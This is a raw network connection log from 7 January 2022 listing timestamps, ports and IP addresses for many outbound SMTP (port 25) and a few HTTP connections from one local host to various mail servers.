Jan 7, 2022 15:54:30.916028976 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.918337107 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.919131041 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.942267895 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.942384958 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.943286896 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.944631100 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.944658041 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.944701910 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.944716930 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.944750071 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.944777012 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.968832016 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.968935966 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.968962908 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.969515085 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.969630003 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.969641924 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.970844030 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.970864058 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.970880032 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.970895052 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.970928907 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.970942974 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.970999956 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.971009016 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.971021891 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.971035004 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.971048117 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.971060038 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.993115902 CET	49800	25	192.168.2.3	193.239.71.113
Jan 7, 2022 15:54:30.995171070 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.995194912 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.995259047 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.995347977 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.995754957 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.995771885 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.995836973 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.995908022 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.995934963 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.997061014 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.997108936 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.997124910 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.997144938 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.997148037 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.997169018 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.997183084 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.997193098 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.997194052 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.997208118 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.997219086 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.997225046 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.997265100 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.997307062 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.997323990 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.997433901 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:31.021534920 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.021563053 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.021579027 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.021591902 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.021629095 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:31.021670103 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:31.021697044 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:31.021924019 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.021950960 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:31.021977901 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:31.022041082 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.022057056 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.022070885 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023353100 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023375988 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023391008 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023407936 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023438931 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023475885 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023492098 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023521900 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023536921 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023552895 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023570061 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023674965 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023689985 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.023705959 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.047919035 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.047950029 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.047964096 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.047979116 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.047992945 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.048007011 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.048022032 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.048037052 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.048086882 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.048286915 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:31.048378944 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:31.055664062 CET	49789	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:31.074547052 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074573994 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074588060 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074601889 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074615955 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074621916 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:31.074630976 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074644089 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074657917 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074671984 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074685097 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074697971 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074711084 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074767113 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074780941 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074815035 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074829102 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074841976 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074892044 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074929953 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074943066 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074958086 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074971914 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.074985981 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075027943 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075042963 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075067997 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075093031 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075148106 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075164080 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075177908 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075233936 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075267076 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075279951 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075289965 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075303078 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075324059 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075339079 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075351954 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075366020 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075449944 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075464010 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075474024 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075489044 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075568914 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075583935 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075598955 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075612068 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075624943 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075639009 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075654984 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075736046 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075750113 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075764894 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075778961 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075793028 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075807095 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075820923 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075834990 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075849056 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075870991 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075885057 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075901031 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075933933 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.075948954 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.100969076 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.101192951 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:31.101221085 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:31.127418041 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.132484913 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.199650049 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:31.199737072 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:31.408590078 CET	49805	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:32.565994978 CET	49806	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:32.679593086 CET	25	49806	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:32.680083036 CET	49806	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:32.822937012 CET	25	49806	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:32.825462103 CET	49806	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:32.939167976 CET	25	49806	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:32.940963984 CET	25	49806	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:32.941106081 CET	49806	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:33.055291891 CET	25	49806	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:33.055458069 CET	25	49806	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:33.055470943 CET	49806	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:33.055516958 CET	49806	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:33.055535078 CET	49806	25	192.168.2.3	67.195.204.74
Jan 7, 2022 15:54:33.056026936 CET	49807	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:33.091211081 CET	25	49799	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:33.092772007 CET	49799	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:33.151468039 CET	25	49799	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:33.151679993 CET	49799	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:33.169033051 CET	25	49806	67.195.204.74	192.168.2.3
Jan 7, 2022 15:54:33.169457912 CET	25	49807	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:33.169533014 CET	49807	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:33.210228920 CET	25	49799	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:33.210388899 CET	49799	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:33.285876036 CET	25	49799	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:33.286035061 CET	49799	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:33.286053896 CET	49799	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:33.286341906 CET	49808	25	192.168.2.3	193.239.71.112
Jan 7, 2022 15:54:33.312923908 CET	25	49807	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:33.317521095 CET	49807	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:33.344624996 CET	25	49799	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:33.344715118 CET	49799	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:33.344778061 CET	25	49799	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:33.344825983 CET	49799	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:33.380290985 CET	49809	25	192.168.2.3	104.47.57.33
Jan 7, 2022 15:54:33.431340933 CET	25	49807	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:33.431832075 CET	25	49807	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:33.431930065 CET	49807	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:33.508208036 CET	25	49809	104.47.57.33	192.168.2.3
Jan 7, 2022 15:54:33.508305073 CET	49809	25	192.168.2.3	104.47.57.33
Jan 7, 2022 15:54:33.545931101 CET	25	49807	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:33.545989990 CET	25	49807	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:33.546058893 CET	49807	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:33.546107054 CET	49807	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:33.546139956 CET	49807	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:33.546416044 CET	49810	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:33.551265001 CET	49811	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:33.639621973 CET	25	49809	104.47.57.33	192.168.2.3
Jan 7, 2022 15:54:33.639825106 CET	49809	25	192.168.2.3	104.47.57.33
Jan 7, 2022 15:54:33.654212952 CET	25	49811	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:33.654429913 CET	49811	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:33.659491062 CET	25	49807	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:33.659513950 CET	25	49807	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:33.659696102 CET	25	49810	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:33.659773111 CET	49810	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:33.758529902 CET	25	49811	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:33.758671999 CET	49811	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:33.767615080 CET	25	49809	104.47.57.33	192.168.2.3
Jan 7, 2022 15:54:33.767968893 CET	25	49809	104.47.57.33	192.168.2.3
Jan 7, 2022 15:54:33.768100023 CET	49809	25	192.168.2.3	104.47.57.33
Jan 7, 2022 15:54:33.861622095 CET	25	49811	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:33.862026930 CET	25	49811	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:33.862160921 CET	49811	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:33.878658056 CET	25	49810	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:33.878860950 CET	49810	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:33.895896912 CET	25	49809	104.47.57.33	192.168.2.3
Jan 7, 2022 15:54:33.897023916 CET	25	49809	104.47.57.33	192.168.2.3
Jan 7, 2022 15:54:33.897151947 CET	25	49809	104.47.57.33	192.168.2.3
Jan 7, 2022 15:54:33.897181034 CET	49809	25	192.168.2.3	104.47.57.33
Jan 7, 2022 15:54:33.897224903 CET	49809	25	192.168.2.3	104.47.57.33
Jan 7, 2022 15:54:33.897234917 CET	49809	25	192.168.2.3	104.47.57.33
Jan 7, 2022 15:54:33.954016924 CET	49812	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:33.965090036 CET	25	49811	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:33.966067076 CET	25	49811	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:33.966269970 CET	49811	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:33.966300011 CET	49811	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:33.966357946 CET	25	49811	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:33.966412067 CET	49811	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:33.992357016 CET	25	49810	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:33.992381096 CET	25	49810	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:33.992501974 CET	49810	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:34.015014887 CET	25	49812	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.015120029 CET	49812	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.025012016 CET	25	49809	104.47.57.33	192.168.2.3
Jan 7, 2022 15:54:34.025038004 CET	25	49809	104.47.57.33	192.168.2.3
Jan 7, 2022 15:54:34.069407940 CET	25	49811	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:34.069432020 CET	25	49811	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:34.106415033 CET	25	49810	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:34.106446028 CET	25	49810	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:34.106522083 CET	49810	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:34.106591940 CET	49810	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:34.106707096 CET	49810	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:34.220052958 CET	25	49810	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:34.220078945 CET	25	49810	67.195.204.79	192.168.2.3
Jan 7, 2022 15:54:34.284506083 CET	25	49812	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.284619093 CET	49812	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.291606903 CET	49813	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.344023943 CET	25	49813	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.344132900 CET	49813	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.344259024 CET	25	49812	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.344419956 CET	25	49812	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.344511986 CET	49812	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.404948950 CET	25	49812	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.405081987 CET	49812	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.475682020 CET	25	49812	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.477621078 CET	49812	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.477673054 CET	49812	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.493408918 CET	49805	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:34.504829884 CET	25	49813	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.505024910 CET	49813	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.537789106 CET	25	49812	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.537898064 CET	49812	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.537920952 CET	25	49812	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.537981987 CET	49812	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.557384968 CET	25	49813	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.557420969 CET	25	49813	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.557643890 CET	49813	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.652195930 CET	25	49813	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.828872919 CET	25	49813	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.832535982 CET	49813	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.884890079 CET	25	49813	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.900902987 CET	25	49813	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.901246071 CET	49813	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.901267052 CET	49813	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.953619003 CET	25	49813	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.953680038 CET	25	49813	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:34.953810930 CET	49813	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:34.956192017 CET	49813	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:35.274009943 CET	49814	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:54:35.441664934 CET	25	49814	67.195.228.86	192.168.2.3
Jan 7, 2022 15:54:35.443981886 CET	49814	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:54:35.768982887 CET	25	49814	67.195.228.86	192.168.2.3
Jan 7, 2022 15:54:35.773087025 CET	49814	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:54:35.936053038 CET	25	49814	67.195.228.86	192.168.2.3
Jan 7, 2022 15:54:35.936180115 CET	25	49814	67.195.228.86	192.168.2.3
Jan 7, 2022 15:54:35.936320066 CET	49814	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:54:36.099483013 CET	25	49814	67.195.228.86	192.168.2.3
Jan 7, 2022 15:54:36.099606037 CET	49814	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:54:36.099642992 CET	49814	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:54:36.099828005 CET	25	49814	67.195.228.86	192.168.2.3
Jan 7, 2022 15:54:36.099905968 CET	49814	25	192.168.2.3	67.195.228.86
Jan 7, 2022 15:54:36.262420893 CET	25	49814	67.195.228.86	192.168.2.3
Jan 7, 2022 15:54:36.290431023 CET	49808	25	192.168.2.3	193.239.71.112
Jan 7, 2022 15:54:36.665076017 CET	49815	25	192.168.2.3	74.208.5.20
Jan 7, 2022 15:54:36.798125029 CET	25	49815	74.208.5.20	192.168.2.3
Jan 7, 2022 15:54:36.798360109 CET	49815	25	192.168.2.3	74.208.5.20
Jan 7, 2022 15:54:36.933161974 CET	25	49815	74.208.5.20	192.168.2.3
Jan 7, 2022 15:54:36.933191061 CET	25	49815	74.208.5.20	192.168.2.3
Jan 7, 2022 15:54:36.933274984 CET	49815	25	192.168.2.3	74.208.5.20
Jan 7, 2022 15:54:36.933306932 CET	49815	25	192.168.2.3	74.208.5.20
Jan 7, 2022 15:54:36.933595896 CET	49816	25	192.168.2.3	74.208.5.22
Jan 7, 2022 15:54:36.993609905 CET	49800	25	192.168.2.3	193.239.71.113
Jan 7, 2022 15:54:37.066210985 CET	25	49815	74.208.5.20	192.168.2.3
Jan 7, 2022 15:54:37.070965052 CET	25	49816	74.208.5.22	192.168.2.3
Jan 7, 2022 15:54:37.071181059 CET	49816	25	192.168.2.3	74.208.5.22
Jan 7, 2022 15:54:37.210290909 CET	25	49816	74.208.5.22	192.168.2.3
Jan 7, 2022 15:54:37.210330009 CET	25	49816	74.208.5.22	192.168.2.3
Jan 7, 2022 15:54:37.210458994 CET	49816	25	192.168.2.3	74.208.5.22
Jan 7, 2022 15:54:37.380742073 CET	49816	25	192.168.2.3	74.208.5.22
Jan 7, 2022 15:54:37.518783092 CET	25	49816	74.208.5.22	192.168.2.3
Jan 7, 2022 15:54:37.604787111 CET	49817	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:37.665570974 CET	25	49817	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:37.665704012 CET	49817	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:37.970648050 CET	49818	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:40.496968985 CET	49805	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:40.993983984 CET	49818	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:42.309195042 CET	49808	25	192.168.2.3	193.239.71.112
Jan 7, 2022 15:54:42.766947985 CET	25	49817	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:42.994158983 CET	49817	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:43.027718067 CET	25	49817	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:43.027856112 CET	49817	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:45.085413933 CET	49819	25	192.168.2.3	193.239.71.113
Jan 7, 2022 15:54:45.085453987 CET	49817	25	192.168.2.3	213.186.119.6
